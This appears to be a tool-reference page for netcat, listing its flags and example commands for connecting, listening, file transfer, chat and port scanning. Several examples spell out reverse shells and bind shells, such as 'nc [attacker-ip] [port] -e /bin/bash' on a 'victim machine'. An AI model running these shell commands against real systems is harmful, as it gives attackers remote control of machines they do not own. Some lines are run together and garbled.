Netcat - arbitrary TCP/UDP connections and listening
nc -c {flag-c} -e {flag-e} -b {flag-b} -g {flag-g} -G {flag-g} ๐ flag-c ๐ flag-e ๐ flag-b ๐ flag-g nc -c {flag-c} -e {flag-e} -b {flag-b} -g {flag-g} -G {flag-g} Sandbox: execFile · Timeout: 30s
network.socket.nc network.socket.connect network.socket.listen | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
flag-c | string | No | - | as `-e'; use /bin/sh to exec [dangerous!!] | -c |
flag-e | string | No | - | program to exec after connect [dangerous!!] | -e |
flag-b | string | No | - | allow broadcasts | -b |
flag-g | string | No | - | source-routing hop point[s], up to 8 | -g |
flag-G | string | No | - | source-routing pointer: 4, 8, 12 | -G |
flag-h | string | No | - | this cruft | -h |
flag-i | number | No | - | delay interval for lines sent, ports scanned | -i |
flag-k | string | No | - | set keepalive option on socket | -k |
flag-l | string | No | - | listen mode, for inbound connects | -l |
flag-n | integer | No | - | numeric-only IP addresses, no DNS | -n |
flag-o | string | No | - | hex dump of traffic | -o |
flag-p | integer | No | - | local port number | -p |
flag-r | string | No | - | randomize local and remote ports | -r |
flag-q | string | No | - | quit after EOF on stdin and delay of secs | -q |
flag-s | string | No | - | local source address | -s |
flag-T | string | No | - | set Type Of Service | -T |
flag-t | string | No | - | answer TELNET negotiation | -t |
flag-u | string | No | - | UDP mode | -u |
flag-v | string | No | - | verbose [use twice to be more verbose] | -v |
flag-w | number | No | - | timeout for connects and final net reads | -w |
flag-z | string | No | - | zero-I/O mode [used for scanning] | -z |
Basic usage with flag-c
nc ${flag-c} Display help message
nc --help NetRunners revshell/shell
nc.exe {{IP}} {{PORT}} -e cmd NetRunners revshell/shell
nc -e /bin/bash {{IP}} {{PORT}} Basic client use - connect to a server
nc [hostname] [port] Basic server use - listen on a specific port
nc -l -p [port] Send a file from a client to a server Server side
nc -l -p [port] > [output-file] Client side
nc [hostname] [port] < [input-file] Create a simple chat server Server side
nc -l -p [port] Client side
nc [hostname] [port] Port scanning a host for open ports
nc -zv [hostname] [starting-port]-[ending-port] Using UDP instead of TCP
nc -u [hostname] [port] Use with a timeout setting
nc -w [timeout-in-seconds] [hostname] [port] Listen for connections on multiple interfaces
nc -l -p [port] -k Establish a reverse shell (use with caution) Attacker machine - listen for incoming connections
nc -l -p [port] Victim machine - connect to attacker
nc [attacker-ip] [port] -e /bin/bash Start a simple TCP server on a specified port
nc -l -p PORT_NUMBER Connect to a TCP server on a specified IP address and port
nc IP_ADDRESS PORT_NUMBER Transfer a file from a server to a client On the server side (listening and sending the file)
nc -l -p PORT_NUMBER < filename On the client side (receiving the file)
nc IP_ADDRESS PORT_NUMBER > filename Scan open ports on a target host
nc -zv IP_ADDRESS PORT_RANGE Use netcat as a simple chat tool On one machine (listening)
nc -l -p PORT_NUMBER On another machine (connecting to the listener)
nc IP_ADDRESS PORT_NUMBER Create a reverse shell from a client to a server On the attacker's machine (listening)
nc -l -p PORT_NUMBER -e /bin/bash On the victim's machine (connecting back to the attacker's machine)
nc IP_ADDRESS PORT_NUMBER -e /bin/bash Bind shell on the server side On the server machine (listening and attaching a shell)
nc -l -p PORT_NUMBER -e /bin/bash On the client machine (connecting to the bind shell)
nc IP_ADDRESS PORT_NUMBER nc is a command-line utility for netcat - arbitrary tcp/udp connections and listening.
nc -c {flag-c} -e {flag-e} -b {flag-b} -g {flag-g} -G {flag-g}